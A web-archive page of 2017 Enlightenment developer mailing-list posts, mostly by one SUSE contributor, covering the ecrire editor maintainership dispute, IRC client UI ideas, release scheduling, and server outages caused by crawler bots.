(the lack of a decent simple text >> editor for enlightenment) and is trying to fix that problem we really >> should be encouraging people like that not putting them off. We have >> often spoken about ways to get people better engaged with the community >> both from inside and outside Samsung, what you have done in this thread >> is taken someone who was actively trying to get involved in our >> community and turned them away, which is really quite disappointing. I >> know your busy at TDC but I suggest that once your back you should go >> out of your way to try and repair the situation your poor communication >> has caused. There is nothing wrong with the action you did in commenting >> out some code (within how we tend to work as a community) but your >> communication around it absolutely stank. >> >> I'm also going to call out Stephen because in this thread you simply >> acted like a Jerk without adding anything of meaning to the discussion. >> >> To finish let me be clear if someone comes in here acting like an arse I >> have no problem with them being put in there place and sent away our >> community shouldn't have to tolerate people being arses, but in this >> case there was someone doing there best in good faith to do everything >> right by the community and they were treated appallingly by senior >> members of our community for no good reason and thats just not on. >> >> Now it would be nice if those involved took a step back and had a think >> about the way they've behaved and then deal with this again in a few >> days and hopefully come to a better resolution. Personally i'm looking >> forward to using ecrire and shipping it in openSUSE. >> >> >>> >>> On Mon, May 15, 2017 at 10:02 PM, Andrew Williams >> wrote: >>>> Hi Team, Friends and Community, >>>> >>>> Can we please take a breath, think about how we would like to be >> thought of >>>> and consider this when we fire out emails to this list. We are a >> community, >>>> a diverse community at that, and I love it - there is something for >>>> everyone independent of interest, background or experience level. >>>> >>>> Looking at this email thread I am worried. Not for any particular >> message >>>
Re: [E-devel] Taking over as maintainer of ecrire
f I were a completely new comer to this community >> and I saw such a discussion I would certainly be disheartened and may fail >> to get far enough to see the fantastic tech and possibilities that EFL >> should be bringing to the world. >> >> Thanks for taking the time to read, I appreciate it and hope that some >> reflection could help us to better build on the work of those both internal >> and external to the core project. >> >> Looking forward to Malta - a beer is always great for grounding >> conversation :) >> Andy >> >> On Mon, 15 May 2017 at 20:14 William L. Thomson Jr. >> wrote: >> >>> At this point in time. I have no interest of gaining access to >>> git.e.org repositories. I will continue any and all EFL application >>> development outside. >>> >>> I will consider my work going forward on ecrire to be a fork. I may >>> rename it and other things. I really haven't the time for the >>> mistreatment or the back and forth. >>> >>> If this is how new contributors are treated. It really explains why so >>> few things are in EFL. I am questioning how crazy I am to stay and not >>> run from this community. Though I will not hold all responsible for the >>> actions of the main person. I do not need to subject myself to such. >>> >>> Sadly I can see that leadership has already trickled down into some. It >>> is really bad all around. That people who work for Samsung conduct >>> themselves that way in public >>> >>> On Mon, 15 May 2017 12:44:34 -0400 >>> "William L. Thomson Jr." wrote: >>> >>>> On Mon, 15 May 2017 16:28:30 + >>>> Andrew Williams wrote: >>>> >>>>> Hi William, >>>>> >>>>> I'm glad that is now resolved, thanks for figuring it out. >>>> >>>> Sure, I was already working on it when all the discussion came up. >>>> Which is why I commented on others committing. Does not make sense for >>>> more than one to work on same problem without discussion or >>>> coordination. >>>> >>>>> Back to the main topic of the thread - is your intention to get this >>>>> merged back up to master on git.e.org? I think that will affect the >>>>> coding style etc expectations and so forth, so I was interested in >>>>> the overall plan :) >>>> >>>> Merging back into the old repo on git.e.org was the intention. I >>>> believe I am following most if not all coding styles etc. Though maybe >>>> some places that could use some correction. The code is at least as >>>> good as what is in that old repo. >>>> >>>> How things proceed is up to others. I am continuing on with my >>>> development effort. It is pretty moot to me. For now could look to >>>> pull my changes into that repo and do that automated daily, etc. >>>> >>>> Beyond that not sure. Still concerned with working in public repos if >>>> people will just commit without any coordination or discussion with >>>> others. Otherwise I have no issue with my effort being pulled back >>>> into main repo. As for any direct commit access, that is rather moot >>>> for me. >>>> >>>> That is more if you all want the development to be official or third >>>> party effort to develop ecrire. It is up to you all to decide. My >>>> only thoughts are, if my work is being merged back into ecrire >>>> git.e.org repo and I do not have direct commit access. I would not >>>> want others working in that repo. I will not be pulling just pushing >>>> to git.e.org for any syncing. Just something to keep in mind. >>>> >>> >>> >>> >>> -- >>> William L. Thomson Jr. >>> -- Simon Lees (Simotek)http://simotek.net Emergency Update Team keybase.io/simotek SUSE Linux Adelaide Australia, UTC+10:30 GPG Fingerprint: 5B87 DB9D 88DC F606 E489 CEC5 0922 C246 02F0 014B signature.asc Description: OpenPGP digital signature -- Check out the vibrant tech community on one of the world's most engaging tech sites, Slashdot.org! http://sdm.link/slashdot___ enlightenment-devel mailing list enlightenment-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/enlightenment-devel
Re: [E-devel] Taking over as maintainer of ecrire
On 05/14/2017 10:35 AM, William L. Thomson Jr. wrote: > > Yes because it is a compile time configure option. That anyone who is > running under Wayland knows they are. Thus they should set This assumption is not quite true, on some openSUSE variants we support efl under both X11 and wayland, while some may use wayland most use X11 though. So to me a compile time option doesn't sound correct, especially when its not required for every other efl application. Thanks for starting to put work back into it though -- Simon Lees (Simotek)http://simotek.net Emergency Update Team keybase.io/simotek SUSE Linux Adelaide Australia, UTC+10:30 GPG Fingerprint: 5B87 DB9D 88DC F606 E489 CEC5 0922 C246 02F0 014B signature.asc Description: OpenPGP digital signature -- Check out the vibrant tech community on one of the world's most engaging tech sites, Slashdot.org! http://sdm.link/slashdot___ enlightenment-devel mailing list enlightenment-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/enlightenment-devel
Re: [E-devel] Express UI Ideas
On 05/12/2017 02:56 PM, Simon Lees wrote: > > > On 05/12/2017 02:38 AM, Christopher Michael wrote: >> >> Hello All, >> >> As some of you may know, I have been refactoring the backend of the >> Express IRC client. Well, the backend has reached a good stable point >> with most IRC commands/responses being handled now (CTCP/DCC still need >> implementing). >> >> I'd like to move on in refactoring the UIso I am writting this email >> in order to solicit ideas from the community with regard to what users >> would like to see in an IRC front-end. >> >> I would like to stay away from something as boring as an X-Chat >> interface...preferring to come up with a unique interface that showcases >> EFL abilities. >> > As someone who uses Hexchat / xchat daily I like the way it functionally > presents its interface so maybe something starting with that and > "blinging" it up alot / maybe merging ideas from other apps like rage or > maybe terminology. > > I think it would be cool to have something like rages interface where > you just have full screen with no controls until you mouse over (with > the option to disable it for people who find it annoying, but with a > hexchat like layout, channels on the left, users on the right and topic > at the top. > > Gah now i'm off to have a play with gimp, you have succesfully just > postponed a enlightenment release by a hour or 3 :-P > And a picture speaks 1000 words so here's a mock (note the color scheme is simply what I use in my client), I also left off the timestamp as i'm lazy and I think it would be cool if we used a text filter of some sort on everything thats not the main body text but I don't have the skills time or effort to include that here. http://paste.opensuse.org/42480997 -- Simon Lees (Simotek)http://simotek.net Emergency Update Team keybase.io/simotek SUSE Linux Adelaide Australia, UTC+10:30 GPG Fingerprint: 5B87 DB9D 88DC F606 E489 CEC5 0922 C246 02F0 014B signature.asc Description: OpenPGP digital signature -- Check out the vibrant tech community on one of the world's most engaging tech sites, Slashdot.org! http://sdm.link/slashdot___ enlightenment-devel mailing list enlightenment-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/enlightenment-devel
Re: [E-devel] Express UI Ideas
On 05/12/2017 02:38 AM, Christopher Michael wrote: > > Hello All, > > As some of you may know, I have been refactoring the backend of the > Express IRC client. Well, the backend has reached a good stable point > with most IRC commands/responses being handled now (CTCP/DCC still need > implementing). > > I'd like to move on in refactoring the UIso I am writting this email > in order to solicit ideas from the community with regard to what users > would like to see in an IRC front-end. > > I would like to stay away from something as boring as an X-Chat > interface...preferring to come up with a unique interface that showcases > EFL abilities. > As someone who uses Hexchat / xchat daily I like the way it functionally presents its interface so maybe something starting with that and "blinging" it up alot / maybe merging ideas from other apps like rage or maybe terminology. I think it would be cool to have something like rages interface where you just have full screen with no controls until you mouse over (with the option to disable it for people who find it annoying, but with a hexchat like layout, channels on the left, users on the right and topic at the top. Gah now i'm off to have a play with gimp, you have succesfully just postponed a enlightenment release by a hour or 3 :-P -- Simon Lees (Simotek)http://simotek.net Emergency Update Team keybase.io/simotek SUSE Linux Adelaide Australia, UTC+10:30 GPG Fingerprint: 5B87 DB9D 88DC F606 E489 CEC5 0922 C246 02F0 014B signature.asc Description: OpenPGP digital signature -- Check out the vibrant tech community on one of the world's most engaging tech sites, Slashdot.org! http://sdm.link/slashdot___ enlightenment-devel mailing list enlightenment-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/enlightenment-devel
Re: [E-devel] Unwanted artifacts on clock
On 05/11/2017 05:29 AM, William L. Thomson Jr. wrote: > On Wed, 10 May 2017 21:42:52 +0200 > Jonathan Aquilina wrote: > >> Hi All, >> >> If anything I owe everyone an apology as I started this kind of debate >> on IRC when I mentioned maybe starting a UX team where i would focus >> on the user experience of various aspects of e. So apologies for any >> issues caused here. > > Nothing to do with you. It was the first thing I noticed. I filed a bug > on it as one of my first. On Apr 9 2017. Long before the IRC convo. > > I will be doing a presentation next month for my LUG. They record the > presentations. I will make sure to ask everyone in the room about the > clock. That way you can see first hand how some react when seeing it > for the first time. I will not show any bias. I will ask two questions. > > 1. Can you read the clock easily? > 2. What does it look like? > > Curious if anyone says a tube, nixie, vfd, etc clock. > It looked more like a nixie clock originally but was changed to make it easier to read the lower numbers as 2 and 3 used to have a greyed out outline of 7 and 8 etc on top like a real one would. -- Simon Lees (Simotek)http://simotek.net Emergency Update Team keybase.io/simotek SUSE Linux Adelaide Australia, UTC+10:30 GPG Fingerprint: 5B87 DB9D 88DC F606 E489 CEC5 0922 C246 02F0 014B signature.asc Description: OpenPGP digital signature -- Check out the vibrant tech community on one of the world's most engaging tech sites, Slashdot.org! http://sdm.link/slashdot___ enlightenment-devel mailing list enlightenment-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/enlightenment-devel
Re: [E-devel] Taking over as maintainer of ecrire
On 05/10/2017 08:39 AM, William L. Thomson Jr. wrote: > I finally got in touch with Tom Hacohen/tasn. Turns out IRC was best > form, as phab and mailing list were not, go figure. Seems I have Tom's > blessing to take over ecrire[1]. Which there is no rush to do > officially. I have already informally taken it over and proceeded with > tags, release, etc[2]. > > Main question over time is how to merge this back into enlightment, or > keep it separate etc. My goal is not to make this my project, but to be > the default text edit for EFL. Not to diminish ePad, or the > development efforts on that. Just clarifying my interests in ecrire and > making it for the community vs myself. Though I am scratching my itches > first of course. > > I already have CI and CD via travis setup in the repo I have it now[2], > along with Coverity. I plan to merge my branch into master. Not sure if > it is easiest to just mirror that back into the enlightment ecrire git > repo. I like the release setup I have now. Though long term would like > it to be one of the apps on the download page or as an alternative phab > list of applications. > > I am fairly open to what ever work flow, and no rush. Just looking to > mention it to others for discussion and to start what ever process if > any. Otherwise I will just keep on as is :) > > 1. https://phab.enlightenment.org/T5411 (some screenshots outdated). > 2. https://github.com/Obsidian-StudiosInc/ecrire > Hi, Not being a expert on all our tooling, but I believe someone should be able to create you a "Probie" account which would give you commit access just to the ecrire git repo and might make working within enlightenments ecosystem easier, ie you can use the same review tools and enlightenment devs will be able to contribute whereas on github we'd all need to create pull requests etc. When I have caught up and have spare time I'll create a openSUSE test package and help fix any packaging / desktop file related issues. Once its released and is functionally equivalent to leafpad i'll include it in openSUSE and swap it to be our default text editor when running enlightenment on openSUSE. Cheers -- Simon Lees (Simotek)http://simotek.net Emergency Update Team keybase.io/simotek SUSE Linux Adelaide Australia, UTC+10:30 GPG Fingerprint: 5B87 DB9D 88DC F606 E489 CEC5 0922 C246 02F0 014B signature.asc Description: OpenPGP digital signature -- Check out the vibrant tech community on one of the world's most engaging tech sites, Slashdot.org! http://sdm.link/slashdot___ enlightenment-devel mailing list enlightenment-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/enlightenment-devel
Re: [E-devel] 1.20 schedule proposal
On 05/04/2017 06:37 PM, Stefan Schmidt wrote: > Hello. > > We are already in the development window for 1.20 and I wanted to bring > up a schedule for its release. > > Here is my proposal arranged in a way to get us back to our 3 months > release rhythm. Comments? > I'm going to be annoying and stay in the less releases is better until eo is done. With that in mind if eo isn't done or close by the freeze I think we should weigh up the new features we have and if there is nothing that anyone is in a rush for (eg a bunch of wayland stuff and e's not ready for a release) I think we should hold off until there are new features that people are waiting for. If there is new stuff and people want it though, then yes release. -- Simon Lees (Simotek)http://simotek.net Emergency Update Team keybase.io/simotek SUSE Linux Adelaide Australia, UTC+10:30 GPG Fingerprint: 5B87 DB9D 88DC F606 E489 CEC5 0922 C246 02F0 014B signature.asc Description: OpenPGP digital signature -- Check out the vibrant tech community on one of the world's most engaging tech sites, Slashdot.org! http://sdm.link/slashdot___ enlightenment-devel mailing list enlightenment-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/enlightenment-devel
Re: [E-devel] http://git.enlightenment.org down for now
On 04/27/2017 03:37 PM, Jonathan Aquilina wrote: > Hi Carsten, > > What advantage does http for git have? Isn't git better to use to pull > and push stuff to the repositories or is cgit more a web based ui to > view the repository history etc? > If you go to http://git.enlightenment.org you can browse the repo's (I guess this is whats being scraped), for those without commit access checking out a repo with https is also quite common. > > On 2017-04-26 04:18, Carsten Haitzler wrote: > >> I've had to disable the whole http support for now for git.enlightenment.org >> because several bots are crawling it causing our VM to basically be loaded >> with >> 10-20 cgit cgi's running git queries for history etc. continually. I/O and >> system load is going through the roof as a result and causing other stuff >> like >> phab to crawl and begin timing out. >> >> So anyone using HTTP for doing cmdline git stuff is, at this moment, going to >> find things not working. SSH and GIT protocol should still work. I'll keep >> this >> shut down for a few hours hoping the bots give up. >> >> I added a robots.txt and edited the cigtrc to deny all bots from indexing >> git.enlightenment.org - but the bots seem to be ignoring that now that they >> have decided to start indexing. >> >> I am wondering if this has been the cause of our issues - being overloaded by >> indexer bots. FYI I counted 3 different bots indexing cgit at the same time: >> Baiduspider, Semrushbot, Ahrefsbot. >> >> I hope later they will start listening to robots.txt, but for now I need to >> keep things off until the bots give up. > -- > Check out the vibrant tech community on one of the world's most > engaging tech sites, Slashdot.org! http://sdm.link/slashdot > ___ > enlightenment-devel mailing list > enlightenment-devel@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/enlightenment-devel > -- Simon Lees (Simotek)http://simotek.net Emergency Update Team keybase.io/simotek SUSE Linux Adelaide Australia, UTC+10:30 GPG Fingerprint: 5B87 DB9D 88DC F606 E489 CEC5 0922 C246 02F0 014B signature.asc Description: OpenPGP digital signature -- Check out the vibrant tech community on one of the world's most engaging tech sites, Slashdot.org! http://sdm.link/slashdot___ enlightenment-devel mailing list enlightenment-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/enlightenment-devel
Re: [E-devel] enlightenment.org down as well
On 04/26/2017 10:36 PM, Carsten Haitzler (The Rasterman) wrote: > On Wed, 26 Apr 2017 20:20:31 +0930 Simon Lees said: > >> can someone kick it. > > working for me... :/ > > Not here 503 *** SPANK SPANK SPANK!!! Enlightenment server is over capacity Please wait a moment and try again later. For more information, take a look at #e on IRC, server irc.freenode.org. -- Simon Lees (Simotek)http://simotek.net Emergency Update Team keybase.io/simotek SUSE Linux Adelaide Australia, UTC+10:30 GPG Fingerprint: 5B87 DB9D 88DC F606 E489 CEC5 0922 C246 02F0 014B signature.asc Description: OpenPGP digital signature -- Check out the vibrant tech community on one of the world's most engaging tech sites, Slashdot.org! http://sdm.link/slashdot___ enlightenment-devel mailing list enlightenment-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/enlightenment-devel
[E-devel] enlightenment.org down as well
can someone kick it. -- Simon Lees (Simotek)http://simotek.net Emergency Update Team keybase.io/simotek SUSE Linux Adelaide Australia, UTC+10:30 GPG Fingerprint: 5B87 DB9D 88DC F606 E489 CEC5 0922 C246 02F0 014B signature.asc Description: OpenPGP digital signature -- Check out the vibrant tech community on one of the world's most engaging tech sites, Slashdot.org! http://sdm.link/slashdot___ enlightenment-devel mailing list enlightenment-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/enlightenment-devel
Re: [E-devel] Contributing to e app development
On 04/25/2017 12:20 AM, William L. Thomson Jr. wrote: > On Mon, 24 Apr 2017 12:19:07 +0930 > Simon Lees wrote: >> >> I started some work on this a long while back, the dbus interface was >> too restrictive to be useful so I stopped and started using nm-applet >> with the app indicator systray interface. But if such a thing existed >> and it met my needs i'd swap to it. > > Not sure how I would interface, I was thinking more direct usage via > shared object/library. I can look into using nm-applet again for the > time being. I was using plasma-nm. Just would be nice to have a native > EFL. Pretty sure the base one is in GTK. > Yep a native one would be nice, nm-applet is indeed based off gtk -- Simon Lees (Simotek)http://simotek.net Emergency Update Team keybase.io/simotek SUSE Linux Adelaide Australia, UTC+10:30 GPG Fingerprint: 5B87 DB9D 88DC F606 E489 CEC5 0922 C246 02F0 014B signature.asc Description: OpenPGP digital signature -- Check out the vibrant tech community on one of the world's most engaging tech sites, Slashdot.org! http://sdm.link/slashdot___ enlightenment-devel mailing list enlightenment-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/enlightenment-devel
Re: [E-devel] Contributing to e app development
On 04/24/2017 12:04 PM, Carsten Haitzler (The Rasterman) wrote: > On Fri, 21 Apr 2017 11:59:00 -0400 "William L. Thomson Jr." > > said: > > hey will. > > i think we should also wait a bit to see what tom (tasn) says. > >> Once I get most of my itches with ecrire scratched. I will move onto a >> Network Manager gadget/module. I am thinking to call it enetman, for E >> Network Manager, or E Net Man. Name is pretty moot, just assuming it >> should likely start with E. > > this actually would be rather neat. > I started some work on this a long while back, the dbus interface was too restrictive to be useful so I stopped and started using nm-applet with the app indicator systray interface. But if such a thing existed and it met my needs i'd swap to it. -- Simon Lees (Simotek)http://simotek.net Emergency Update Team keybase.io/simotek SUSE Linux Adelaide Australia, UTC+10:30 GPG Fingerprint: 5B87 DB9D 88DC F606 E489 CEC5 0922 C246 02F0 014B signature.asc Description: OpenPGP digital signature -- Check out the vibrant tech community on one of the world's most engaging tech sites, Slashdot.org! http://sdm.link/slashdot___ enlightenment-devel mailing list enlightenment-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/enlightenment-devel
Re: [E-devel] changing development of core apps and E itself
On 04/13/2017 09:44 AM, Carsten Haitzler (The Rasterman) wrote: > On Tue, 11 Apr 2017 09:41:06 -0700 Cedric BAIL said: > >> On Tue, Apr 11, 2017 at 2:52 AM, Carsten Haitzler >> wrote: >>> On Tue, 11 Apr 2017 18:58:58 +0930 Simon Lees said: >>>> On 04/11/2017 04:19 PM, Carsten Haitzler (The Rasterman) wrote: >>>>> On Mon, 10 Apr 2017 12:01:49 -0300 Gustavo Sverzut Barbieri >>>>> said: >>>>>> On Mon, Apr 10, 2017 at 4:50 AM, Carsten Haitzler >>>>>> wrote: >>>>>>> On Sun, 9 Apr 2017 23:25:39 -0700 Cedric BAIL >>>>>>> said: >>>>>>> >>>>>>>> On Sun, Apr 9, 2017 at 7:51 PM, Gustavo Sverzut Barbieri >>>>>>>> wrote: >>>>>>>>> On Sun, Apr 9, 2017 at 9:38 PM, Simon Lees wrote: >>>>>>>>>> On 04/10/2017 12:39 AM, Gustavo Sverzut Barbieri wrote: >>>>>>>>>>> Which brings me to my last point: we should adopt and use for REAL >>>>>>>>>>> a >>>>>>> one possible option is to jump behind the transpiler bandwagon. what >>>>>>> about writing a js -> lua transpiler? this should be not that hard >>>>>>> given the incredible similarity in the 2 languages. you can then write >>>>>>> in lua or in js. just you need a compile step for js. perhaps we >>>>>>> should also have a compile step for lua anyway? at least minify it for >>>>>>> faster parsing etc? >>>>>> >>>>>> isn't jerryscript good enough? Seems pretty small, not sure if they're >>>>>> focusing on efficiency as much as ram/disk. >>>>> >>>>> jerryscript is interpreted only - no jit, so it's going to have a fairly >>>>> big performance hit vs something jitted. if the point is to write more >>>>> and more in such a language you want it to be as performant as possible. >>>>> it can be more performant with a jit... so you'd want that. >>>>> >>>> >>>> I'll be controversial and say that for many Desktop UI applications and >>>> probably for a lot of smartphone ones as well performance really doesn't >>>> matter that much, its not like were running these things on a 386, So I >>>> guess sometimes less performant languages have other benefits which is >>>> why people use them. >>> >>> then why does android precompile java apps to native code on installation >>> now as opposed to just keep interpreting? :) >> >> No clue of what this guys are doing, but I can tell you for sure, you >> will be fine writing EFL application in JS. For a reminder, EFL with a >> JS binding without any JIT run fine for doing 2D games on a MIPS at >> 200Mhz with no GPU. So speed is absolutely not necessary for the large >> majority of application with EFL as a toolkit (Not talking bob here). >> I think that if we are to choose a preferred binding, we should go >> with what bring most developers in. > > then why did google bother with v8? why did firefox do tracemonkey? if js > interpreted is fast enough? remember that js in a web page will be similar to > js + efl - the web engine is doing the heavy lifting for ui, rendering and > layout... > > my point is ... it is NOT good enough. not in the general case. not when > performance directly relates to battery life. if you go "well today's cpu's > can > run that ok" sure.. but then your battery life lowers by 5%. 10%, 20%... ? > > there is a solution that gets us both speed and simplicity - luajit. lua isn't > an unknown language. it would be possible to write a js -> lua transpiler and > thus get the best of all worlds using luajit as an execution engine. > Yes but can we finish the eo project before we start the next project please :-P -- Simon Lees (Simotek)http://simotek.net Emergency Update Team keybase.io/simotek SUSE Linux Adelaide Australia, UTC+10:30 GPG Fingerprint: 5B87 DB9D 88DC F606 E489 CEC5 0922 C246 02F0 014B signature.asc Description: OpenPGP digital signature -- Check out the vibrant tech community on one of the world's most engaging tech sites, Slashdot.org! http://sdm.link/slashdot___ enlightenment-devel mailing list enlightenment-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/enlightenment-devel
Re: [E-devel] Making EFL easier to use
On 04/12/2017 08:27 AM, Christophe Sadoine wrote: > On 12 April 2017 at 06:15, Cedric BAIL wrote: >> On Mon, Apr 10, 2017 at 7:46 PM, Gustavo Sverzut Barbieri >> wrote: >>> On Mon, Apr 10, 2017 at 7:12 PM, Cedric BAIL wrote: >>> >>> We're incurring in the same error as we did for EDC, thinking much of >>> our side instead of users... EDC started as something for designers >>> but then we never provided WYSIWYG and it sucked... the primitives are >>> all there, but unusable for the naive or designers. >>> >>> the only way to describe this is to create a WYSIWYG first, then come >>> with some format to store it... But do that as the *USER* point of >>> view, not from EFL development PoV. Ignore our terms, ignore our >>> limitations, try to make design use cases and then we see how to >>> implement that with our tech, adding features and removing limitations >>> as needed. >> >> That's where I have a different opinion. Developers are bad with >> WYSIWYG interface. Designers are the users of that potential WYSIWYG >> interface. Problem is that in the population we are trying to address, >> a large portion of them are developers without a sidekick designer. >> They are the one who want to be able to do simple UI "assemblage" from >> a file. EDC is way to complicated and powerful for what they want. We >> actually do not have anything to address the needs of this people. >> This is what I am talking above. > > You say the population you are trying to address have a large portion > of developers. > You also said in your original email that there was 3 groups : > developers, developers, developers :D > I just want to mention, please don't forget about the designers or > even "wannabe designers". > I get the "more developers -> more apps -> more e/efl users" > But until 0.16, I think e became what it was in part because of themes > and customization. > There was a bunch of themes and it was fun :) > > Everybody knows making a theme takes time. I think one reason is > because you have to recompile your edc just to see what happens when > you changed an offset. (I am currently trying to make a simple theme) > If I could just change a line and see the change instantly I would be > so happy. Enventor is nice but of course it has to recompile all edc > files. when I'm doing minor things like that I just import my .edj file into eflete use it to figure out what values I want then copy the values back into the .edc files. This is the most efficient way for me but i've spent a long time reading .edc files probably alot more then most. -- Simon Lees (Simotek)http://simotek.net Emergency Update Team keybase.io/simotek SUSE Linux Adelaide Australia, UTC+10:30 GPG Fingerprint: 5B87 DB9D 88DC F606 E489 CEC5 0922 C246 02F0 014B signature.asc Description: OpenPGP digital signature -- Check out the vibrant tech community on one of the world's most engaging tech sites, Slashdot.org! http://sdm.link/slashdot___ enlightenment-devel mailing list enlightenment-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/enlightenment-devel
Re: [E-devel] changing development of core apps and E itself
On 04/11/2017 07:22 PM, Carsten Haitzler (The Rasterman) wrote: > On Tue, 11 Apr 2017 18:58:58 +0930 Simon Lees said: > >> >> >> On 04/11/2017 04:19 PM, Carsten Haitzler (The Rasterman) wrote: >>> On Mon, 10 Apr 2017 12:01:49 -0300 Gustavo Sverzut Barbieri >>> said: >>> >>>> On Mon, Apr 10, 2017 at 4:50 AM, Carsten Haitzler >>>> wrote: >>>>> On Sun, 9 Apr 2017 23:25:39 -0700 Cedric BAIL said: >>>>> >>>>>> On Sun, Apr 9, 2017 at 7:51 PM, Gustavo Sverzut Barbieri >>>>>> wrote: >>>>>>> On Sun, Apr 9, 2017 at 9:38 PM, Simon Lees wrote: >>>>>>>> On 04/10/2017 12:39 AM, Gustavo Sverzut Barbieri wrote: >>>>>>>>> Which brings me to my last point: we should adopt and use for REAL a >>>>> one possible option is to jump behind the transpiler bandwagon. what about >>>>> writing a js -> lua transpiler? this should be not that hard given the >>>>> incredible similarity in the 2 languages. you can then write in lua or in >>>>> js. just you need a compile step for js. perhaps we should also have a >>>>> compile step for lua anyway? at least minify it for faster parsing >>>>> etc? >>>> >>>> isn't jerryscript good enough? Seems pretty small, not sure if they're >>>> focusing on efficiency as much as ram/disk. >>> >>> jerryscript is interpreted only - no jit, so it's going to have a fairly big >>> performance hit vs something jitted. if the point is to write more and more >>> in such a language you want it to be as performant as possible. it can be >>> more performant with a jit... so you'd want that. >>> >> >> I'll be controversial and say that for many Desktop UI applications and >> probably for a lot of smartphone ones as well performance really doesn't >> matter that much, its not like were running these things on a 386, So I >> guess sometimes less performant languages have other benefits which is >> why people use them. > > then why does android precompile java apps to native code on installation now > as opposed to just keep interpreting? :) > I was referring to the half written in javascript :-P, granted most of these are just slightly glorified web pages with notifications but still. -- Simon Lees (Simotek)http://simotek.net Emergency Update Team keybase.io/simotek SUSE Linux Adelaide Australia, UTC+10:30 GPG Fingerprint: 5B87 DB9D 88DC F606 E489 CEC5 0922 C246 02F0 014B signature.asc Description: OpenPGP digital signature -- Check out the vibrant tech community on one of the world's most engaging tech sites, Slashdot.org! http://sdm.link/slashdot___ enlightenment-devel mailing list enlightenment-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/enlightenment-devel
Re: [E-devel] changing development of core apps and E itself
On 04/11/2017 04:19 PM, Carsten Haitzler (The Rasterman) wrote: > On Mon, 10 Apr 2017 12:01:49 -0300 Gustavo Sverzut Barbieri > said: > >> On Mon, Apr 10, 2017 at 4:50 AM, Carsten Haitzler >> wrote: >>> On Sun, 9 Apr 2017 23:25:39 -0700 Cedric BAIL said: >>> >>>> On Sun, Apr 9, 2017 at 7:51 PM, Gustavo Sverzut Barbieri >>>> wrote: >>>>> On Sun, Apr 9, 2017 at 9:38 PM, Simon Lees wrote: >>>>>> On 04/10/2017 12:39 AM, Gustavo Sverzut Barbieri wrote: >>>>>>> Which brings me to my last point: we should adopt and use for REAL a >>> one possible option is to jump behind the transpiler bandwagon. what about >>> writing a js -> lua transpiler? this should be not that hard given the >>> incredible similarity in the 2 languages. you can then write in lua or in >>> js. just you need a compile step for js. perhaps we should also have a >>> compile step for lua anyway? at least minify it for faster parsing etc? >> >> isn't jerryscript good enough? Seems pretty small, not sure if they're >> focusing on efficiency as much as ram/disk. > > jerryscript is interpreted only - no jit, so it's going to have a fairly big > performance hit vs something jitted. if the point is to write more and more in > such a language you want it to be as performant as possible. it can be more > performant with a jit... so you'd want that. > I'll be controversial and say that for many Desktop UI applications and probably for a lot of smartphone ones as well performance really doesn't matter that much, its not like were running these things on a 386, So I guess sometimes less performant languages have other benefits which is why people use them. -- Simon Lees (Simotek)http://simotek.net Emergency Update Team keybase.io/simotek SUSE Linux Adelaide Australia, UTC+10:30 GPG Fingerprint: 5B87 DB9D 88DC F606 E489 CEC5 0922 C246 02F0 014B signature.asc Description: OpenPGP digital signature -- Check out the vibrant tech community on one of the world's most engaging tech sites, Slashdot.org! http://sdm.link/slashdot___ enlightenment-devel mailing list enlightenment-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/enlightenment-devel
Re: [E-devel] changing development of core apps and E itself
On 04/11/2017 10:46 AM, Gustavo Sverzut Barbieri wrote: > On Mon, Apr 10, 2017 at 7:29 PM, Simon Lees wrote: >> On 04/11/2017 12:25 AM, Gustavo Sverzut Barbieri wrote: >>> On Mon, Apr 10, 2017 at 6:06 AM, Carsten Haitzler >>> wrote: >>>> On Sun, 9 Apr 2017 12:09:08 -0300 Gustavo Sverzut Barbieri >>>> >>>> said: >>>> >>>> Is it an old need? At least on OSX and modern Windows apps are encouraged >>>> to >>>> fit in and look "standard" and users want it there... :) >>> >>> more and more apps move to individual looks, this happened before >>> (remember Nero CD Burner and the likes? Winamp?) but after smartphones >>> almost no app wants to use the "system look and feel". Each app wants >>> their own brand, theme and impact... >> >> Yet us users wish that all apps still look consistent Designers >> have been given too much power they should have less :-P > > not sure, this is only good when there are no UI designers, then > engineers can pick some stuff to suck-less [tm]... being there, done > that... if you google my name in kde-usability I used to push for that > during kde3 days 2003-2004 or so... > > good for most open source projects, were we lack designers... however, > commercial users do have them and what we do just make their lives > harder. > well yeah in terms of Linux desktop apps its best when 1 designer creates a theme and everything just works with it and looks unified. (more themes are coming soon) -- Simon Lees (Simotek)http://simotek.net Emergency Update Team keybase.io/simotek SUSE Linux Adelaide Australia, UTC+10:30 GPG Fingerprint: 5B87 DB9D 88DC F606 E489 CEC5 0922 C246 02F0 014B signature.asc Description: OpenPGP digital signature -- Check out the vibrant tech community on one of the world's most engaging tech sites, Slashdot.org! http://sdm.link/slashdot___ enlightenment-devel mailing list enlightenment-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/enlightenment-devel
Re: [E-devel] changing development of core apps and E itself
